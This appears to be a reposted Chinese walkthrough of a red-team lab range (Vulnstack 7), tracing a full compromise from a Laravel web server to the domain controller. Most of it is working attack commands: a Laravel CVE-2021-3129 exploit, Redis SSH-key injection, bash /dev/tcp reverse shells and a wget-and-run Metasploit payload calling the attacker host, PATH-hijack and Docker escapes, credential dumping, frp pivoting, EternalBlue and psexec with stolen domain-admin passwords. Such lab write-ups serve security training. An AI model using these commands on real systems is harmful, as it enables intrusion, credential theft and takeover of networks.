11

ATK&CK红队评估实战靶场(七)

 1 year ago
source link: https://fanygit.github.io/2023/01/05/ATK&CK%E7%BA%A2%E9%98%9F%E8%AF%84%E4%BC%B0%E5%AE%9E%E6%88%98%E9%9D%B6%E5%9C%BA%EF%BC%88%E4%B8%83%EF%BC%89/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

ATK&CK红队评估实战靶场(七)

2023-01-052023-02-06内网渗透

阅读次数: 2

0

靶机详细信息

http://vulnstack.qiyuanxuetang.net/vuln/detail/9/
域用户账户和密码
Administrator:Whoami2021
whoami:Whoami2021
bunny:Bunny2021
moretz:Moretz2021

Ubuntu 1:
web:web2021

Ubuntu 2:
ubuntu:ubuntu

通达OA账户:
admin:admin657260

首先,创建一张VMnet1的网卡,将网段设置为192.168.1.0,用于模拟外网环境,同时将外网靶机Ubuntu(web1)kali 应用该网卡。

然后再按照以下文档来配置

在Vmware中新增两个虚拟网卡VMnet8VMnet14VMnet8设为默认的NAT模式,IP段设为192.168.52.0/24VMnet14设为仅主机模式,IP段设为192.168.93.0/24

将VMnet8作为第二层网络的网卡,VMnet14作为第三层网络的网卡。这样,第二层网络中的所有主机皆可以上网,但是位于第三层网络中的所有主机都不与外网相连通,不能上网。

DMZ区域:

  • 给Ubuntu (Web 1) 配置了两个网卡,一个配置VMnet1可以对外提供服务;一个连接在VMnet8上连通第二层网络。

第二层网络区域:

  • 给Ubuntu (Web 2) 和Windows 7 (PC 1)都配置了两个网卡,一个连接在VMnet8上连通第二层网络,一个连接在VMnet14上连通第三层网络。

第三次网络区域:

  • 给Windows Server 2012和Windows 7 (PC 2)都只配置了一个网卡,一个连接在VMnet14上连通第三层网络。

  • 靶场中各个主机都运行着相应的服务并且没有自启功能,如果你关闭了靶机,再次启动时还需要在相应的主机上启动靶机服务:

    DMZ区的 Ubuntu 需要启动redis和nginx服务:

    • sudo redis-server /etc/redis.conf
    • sudo /usr/sbin/nginx -c /etc/nginx/nginx.conf
    • sudo iptables -F

    第二层网络的 Ubuntu需要启动docker容器:

    • sudo service docker start
    • sudo docker start 8e172820ac78

    第三层网络的 Windows 7 (PC 1)需要启动通达OA:

    • C:\MYOA\bin\AutoConfig.exe

攻入内网:web1

kali的IP:192.168.1.6

nmap -sn 192.168.1.1/24

得到第一层靶机的IP192.168.1.5

sudo nmap -sS -Pn -sV -v -p 1-65535 192.168.1.5

开放了2280816379端口

访问80

访问 81

可从页面中得到 站点的指纹 Laravel v8.29.0

通过搜索引擎,可以得知,该版本存在CVE-2021-3129

漏洞利用:CVE-2021-3129 phar反序列化

首先下载 CVE-2021-3129利用工具

https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP
python3 .\laravel-CVE-2021-3129-EXP.py 'http://192.168.1.5:81'

注意 url参数后面不能跟/,否则会没有返回结果 。

利用脚本已经成功写入了哥斯拉的木马,但是这里用3.0以上的版本去连接会失败,我用的是2.96

连接成功,方便后续使用。

Redis未授权漏洞

发现目标主机开启了6379端口,尝试使用redis-cli进行连接

redis-cli -h 192.168.1.5

无需密码,直接连接成功,存在redis未授权漏洞

尝试通过 redisssh 公钥,然后使用私钥去连接。

redis 写入 ssh 公钥 getshell

首先在kali中生成公钥

ssh-keygen -t rsa

将公钥导入1.txt 文件中

(echo -e "\n\n"; cat /home/kali/.ssh/id_rsa.pub; echo -e "\n\n") > 1.txt

将1.txt 文件内容写入目标主机的redis缓冲中

cat 1.txt | redis-cli -h 192.168.1.5 -p 6379 -x set 1

在redis中操作

redis-cli -h 192.168.1.5
get 1
config set dir /root/.ssh #设置redis的备份路径为/root/.ssh/
config set dbfilename authorized_keys #设置保存文件名为authorized_keys
save #将数据保存在目标服务器硬盘上

ssh连接

ssh -i /home/kali/.ssh/id_rsa [email protected]

成功连接上,并且拿到了靶机root权限。

主机信息收集

ifconfig

发现内网网段192.168.52.0

查看系统版本

uname -a

上传64位fscan扫描内网

使用 scp

scp -i /home/kali/.ssh/id_rsa /home/kali/Desktop/fscan/fscan_amd64 [email protected]:/tmp
./fscan_amd64 -h 192.168.52.1/24
(icmp) Target 192.168.52.10   is alive
(icmp) Target 192.168.52.2 is alive
(icmp) Target 192.168.52.20 is alive
(icmp) Target 192.168.52.30 is alive
[*] Icmp alive hosts len is: 4
192.168.52.10:22 open
192.168.52.20:8000 open
192.168.52.30:8080 open
192.168.52.10:6379 open
192.168.52.30:139 open
192.168.52.30:445 open
192.168.52.20:22 open
192.168.52.30:135 open
192.168.52.10:81 open
192.168.52.10:80 open
[*] alive ports len is: 11
start vulscan
[*] WebTitle: http://192.168.52.10 code:502 len:584 title:502 Bad Gateway
[+] Redis:192.168.52.10:6379 unauthorized file:/home/web/dump.rdb
[+] Redis:192.168.52.10:6379 like can write /root/.ssh/
[+] Redis:192.168.52.10:6379 like can write /var/spool/cron/
[*] NetBios: 192.168.52.30 PC1.whoamianony.org Windows 7 Professional 7601 Service Pack 1
[+] 192.168.52.30 MS17-010 (Windows 7 Professional 7601 Service Pack 1)
[*] WebTitle: http://192.168.52.30:8080 code:200 len:10065 title:通达OA网络智能办公系统
[+] InfoScan:http://192.168.52.30:8080 [通达OA]
[+] http://192.168.52.30:8080 tongda-user-session-disclosure
[*] WebTitle: http://192.168.52.10:81 code:200 len:17474 title:Laravel
[*] WebTitle: http://192.168.52.20:8000 code:200 len:17474 title:Laravel
[+] InfoScan:http://192.168.52.20:8000 [Laravel]
[+] InfoScan:http://192.168.52.10:81 [Laravel]
[+] http://192.168.52.30:8080 poc-yaml-tongda-oa-v11.9-api.ali.php-fileupload
[+] http://192.168.52.20:8000 poc-yaml-laravel-cve-2021-3129
[+] http://192.168.52.10:81 poc-yaml-laravel-cve-2021-3129

通过扫描结果可以知道存活了四个ip,其中192.168.52.2为网关,192.168.52.10为当前靶机,另一台靶机192.168.52.20,并且开放了800022端口,通过查看当前靶机的nginx配置,可发现,当前靶机开放的81端口就是192.168.52.208000端口,通过nginx反向代理到了当前靶机。

还有一台为192.168.52.30,开放了8080139135445端口,操作系统为windows7,并且存在MS17-010tongda-oa-v11.9-api.ali.php-fileupload的漏洞。

cat /etc/nginx/conf.d/81.conf

在前面,我们已经通过CVE-2021-3129漏洞拿到192.168.52.20webshell权限。

接下来,通过该webshell继续向内网渗透。

二层内网渗透:web2

方便后续操作,首先在哥斯拉中执行反弹shell命令,将shell反弹到Kali中

kali监听

nc -lvnp 4444

哥斯拉中执行

bash -c 'exec bash -i &>/dev/tcp/192.168.1.6/4444 <&1'

查看系统版本

uname -a

Linux内核版本Linux version 4.4.0-142-generic,脏牛提权漏洞存在于Linux内核 >= 2.6.22,当前靶机不存在脏牛提权漏洞。

尝试查看具有suid特殊权限的文件来进行提权

find / -perm -u=s -type f 2>/dev/null

发现一个可疑文件 shell

执行shell,发现其实就是以root用户调用了ps命令。

提权思路,如果我们构造一个可以反弹shell的ps文件,然后再改变$PATH环境变量,让shell执行我们构造的ps,不就可以拿到root权限了嘛。

环境变量劫持提权

首先创建一个可以反弹shell的ps文件,因为我们通过redisssh公钥,已经拿到了Ubuntu靶机的权限,并且Ubuntu靶机与当前正在攻击的靶机在同以网段,所直接将shell反弹到Ubuntu靶机上。

/tmp目录下执行

echo "bash -c 'exec bash -i &>/dev/tcp/192.168.52.10/4444 <&1'" > ps

赋予可执行权限

chmod 777 ps

查看环境变量

echo $PATH

tmp目录添加到环境变量中

export PATH=/tmp:$PATH

Ubuntu靶机中进行监听

nc -lnvp 4444

回到当前靶机中执行

./shell

左边是监听,右边执行,成功提权到root。

Docker特权逃逸

发现好多命令根本无法执行,查看是不是在docker

ls -alh /.dockerenv
cat /proc/1/cgroup

发现存在于Docker环境中

如果是通过特权模式启动容器,就可以获得大量设备文件的访问权限,因为管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。

创建一个目录用于挂载

mkdir /tmp/test
mount /dev/sda1 /tmp/test
ssh密钥写入

首先生成密钥

ssh-keygen -f rsa

Ubuntu1使用python 开启 http服务监听

python3 -m http.server

ubuntu2

先进入到/tmp/test/home/ubuntu/.ssh目录下,然后使用curl下载rsa.pub公钥

cd /tmp/test/home/ubuntu/.ssh
curl -O http://192.168.52.10:8000/rsa.pub

rsa.pub重命名为authorized_keys

mv rsa.pub authorized_keys

然后回到Ubuntu1中,在刚刚生成的rsa目录下连接

ssh -i rsa [email protected]

成功连接。

到目前为止,已经成功拿下web1web2两台靶机了,接下来使用MSF对两台靶机进行权限维持,方便后续渗透内网。

上线web1靶机

use exploit/multi/script/web_delivery
set target 7
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.1.6
set lport 6789
exploit

得到一条命令

wget -qO pwkzg9Z9 --no-check-certificate http://192.168.1.6:8080/79LajMacnMhyY5R; chmod +x pwkzg9Z9; ./pwkzg9Z9& disown

将该命令放在web1shell中执行

成功上线web1靶机

route add 192.168.52.0 255.255.255.0 1

上线web2靶机

生成Linux 反弹shell

msfvenom -p linux/x64/meterpreter/bind_tcp lport=9988 -f elf > shell9988

将 shell9988 上传至 web1靶机中

upload /home/kali/shell9988 /tmp

MSF开启监听

use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 192.168.52.20
set lport 9988
exploit

然后将生成的木马上传至web2中执行

tmp目录下用python开启http监听

python3 -m http.server

web2中下载shell9988并执行

MSF中成功上线

二层内网渗透:pc1

[*] NetBios: 192.168.52.30   PC1.whoamianony.org                 Windows 7 Professional 7601 Service Pack 1 
[+] 192.168.52.30 MS17-010 (Windows 7 Professional 7601 Service Pack 1)
[*] WebTitle: http://192.168.52.30:8080 code:200 len:10065 title:通达OA网络智能办公系统
[+] InfoScan:http://192.168.52.30:8080 [通达OA]
[+] http://192.168.52.30:8080 poc-yaml-tongda-oa-v11.9-api.ali.php-fileupload

在通过fscan对内网网段192.168.52.0进行扫描的时候,还发现一台IP地址为192.168.52.30的windows主机,并且存在永恒之蓝和通达的文件上传漏洞,MSF已经添加了路由,所以我们在Kali上的请求能够到达192.168.52.0网段,接下来尝试通过该漏洞拿到权限。

永恒之蓝漏洞利用(失败)

use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.52.30
set payload windows/x64/meterpreter/bind_tcp

但是靶机蓝屏了(尝试多次依旧如此)

换一种方式。

通达 api.ali.php-fileupload 漏洞利用

我们最开始在MSF上开起了socks5代理服务,这里直接在物理机上挂代理,然后访问8080端口

访问 192.168.52.30:8080

通过扫描得知存在 tongda-oa-v11.9-api.ali.php-fileupload漏洞

接下来使用LiqunKit_1.5 设置代理直接对漏洞进行利用

使用蚁剑连接(需要配置代理)

拿到的直接就是system权限

接下来将该靶机上线到MSF中

首先创建shell

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=8899 -f exe > 8899.exe

MSF开启监听

use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.52.30
set LPORT 8899

将shell上传到靶机中

在命令终端上执行

MSF收到shell

主机信息收集

查看网卡信息
ipconfig /all

发现得到域名whoamianony.ory

发现内网网段 192.168.93.0,当前靶机ip为192.168.93.20

查看域内所有用户列表

收集域信息 需要把进程迁移到域用户执行的进程中

net group /domain
查看域成员计算机列表
net group "Domain Computers" /domain
查看所有域用户
net group "Domain Users" /domain
查看域管理员用户
net group "domain admins" /domain
收集用户登录口令
load kiwi
creds_all
用户:bunny
域:WHOAMIANONY
NTLM:cc567d5556030b7356ee4915ff098c8f
密码:Bunny2021

用户:Administrator
域:WHOAMIANONY
NTLM:cc567d5556030b7356ee4915ff098c8f
密码:Whoami2021

内网信息收集

直接上传fscan

upload /home/kali/Desktop/fscan/fscan64.exe c:/
fscan64.exe -h 192.168.93.1/24
(icmp) Target 192.168.93.10   is alive
(icmp) Target 192.168.93.20 is alive
(icmp) Target 192.168.93.30 is alive
(icmp) Target 192.168.93.40 is alive
[*] Icmp alive hosts len is: 4
192.168.93.40:139 open
192.168.93.30:139 open
192.168.93.10:8000 open
192.168.93.20:8080 open
192.168.93.40:445 open
192.168.93.30:445 open
192.168.93.20:445 open
192.168.93.20:139 open
192.168.93.40:135 open
192.168.93.30:135 open
192.168.93.20:135 open
192.168.93.10:22 open
192.168.93.30:88 open
[*] alive ports len is: 14
start vulscan
[+] 192.168.93.20 MS17-010 (Windows 7 Professional 7601 Service Pack 1)
[*] WebTitle: http://192.168.93.20:8080 code:200 len:10065 title:通达OA网络智能办公系统
[*] NetInfo:
[*]192.168.93.30
[->]DC
[->]192.168.93.30
[+] 192.168.93.40 MS17-010 (Windows 7 Professional 7601 Service Pack 1)
[+] InfoScan:http://192.168.93.20:8080 [通达OA]
[*] NetBios: 192.168.93.30 [+]DC DC.whoamianony.org Windows Server 2012 R2 Datacenter 9600
[+] 192.168.93.30 MS17-010 (Windows Server 2012 R2 Datacenter 9600)
[*] NetBios: 192.168.93.40 PC2.whoamianony.org Windows 7 Professional 7601 Service Pack 1
[+] http://192.168.93.20:8080 tongda-user-session-disclosure
[*] WebTitle: http://192.168.93.10:8000 code:200 len:17474 title:Laravel
[+] InfoScan:http://192.168.93.10:8000 [Laravel]
[+] http://192.168.93.20:8080 poc-yaml-tongda-oa-v11.9-api.ali.php-fileupload
[+] http://192.168.93.10:8000 poc-yaml-laravel-cve-2021-3129

通过fscan扫描结果可以知道,内网存活四台靶机,且192.168.93.10192.168.93.20 都已经被攻陷,192.168.93.30为域控,存在MS17-010漏洞,操作系统为Windows Server 2012 R2,域成员服务器192.168.93.40,也存在MS17-010漏洞,操作系统为Windows 7 Professional 7601 Service Pack 1

三层内网渗透准备

我们已经拿下了二层网络的所有靶机,接下来,我们需要在二层的基础上拿下三层的所有靶机,通过上传fscan扫描出三层靶机都存在永恒之蓝漏洞,可以使用MSF自带的添加路由功能来使MSF的数据包能达到192.168.93.0网段,但是利用过程中,极其不稳定很不容易上线,所以,这里通过frp工具来实现一个二层代理。

首先在kali中配置 frps.ini

[common]
bind_port = 7455

web1靶机中 分别配置 frpc.inifrps.ini

frpc.ini

[common]
server_addr = 192.168.1.7
server_port = 7455

[http_proxy]
type = tcp
local_ip = 192.168.52.10
local_port = 46075
remote_port = 46075

frps.ini

[common]
Bind_addr = 192.168.52.10
bind_port = 7455

web2靶机 配置 frpc.ini

[common]
server_addr = 192.168.52.10
server_port = 7455

[plugin_socks]
type = tcp
remote_port = 46075
plugin = socks5

最后代理地址

socks5:192.168.1.7:46075

通过 proxychains4+nmap扫描 192.168.93.30445端口,看是否成功

proxychains4 nmap -p 445 192.168.93.30

三层内网渗透:pc2

永恒之蓝漏洞利用

接下来,另起一个MSF

use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set RHOSTS 192.168.93.30
setg proxies socks5:192.168.1.7:46075
load kiwi
creds_all

抓取到了域用户moretz的密码

moretz:Moretz2021

三层内网渗透:域控服务器

永恒之蓝漏洞利用(失败)

尝试进行永恒之蓝漏洞利用

利用失败了,猜测应该因为开启了防火墙。

在之前,我们收集到了域管理员用户的账号密码administrator:Whoami2021

接下来,通过wmiexec.py 执行命令来关闭防火墙

proxychains4 python3 wmiexec.py "administrator:[email protected]"
netsh advfirewall set allprofiles state off

这里虽然有报错,但是已经是成功关闭了的。

再次尝试利用

还是无法利用,经过多次尝试,会导致域控服务器重启。

利用psexec传递拿下DC

use exploit/windows/smb/psexec
set rhosts 192.168.93.30
set smbpass Whoami2021
set smbuser Administrator
set payload windows/meterpreter/bind_tcp
exploit

成功拿下域控

最后,所有靶机的 sessions

相关知识点

Linux 反弹shell 命令

bash -c 'exec bash -i &>/dev/tcp/192.168.1.9/8888 <&1'

用python获得一个交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'

https://www.cnblogs.com/chen-w/p/16194101.html

https://blog.csdn.net/weixin_62334252/article/details/125384701


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK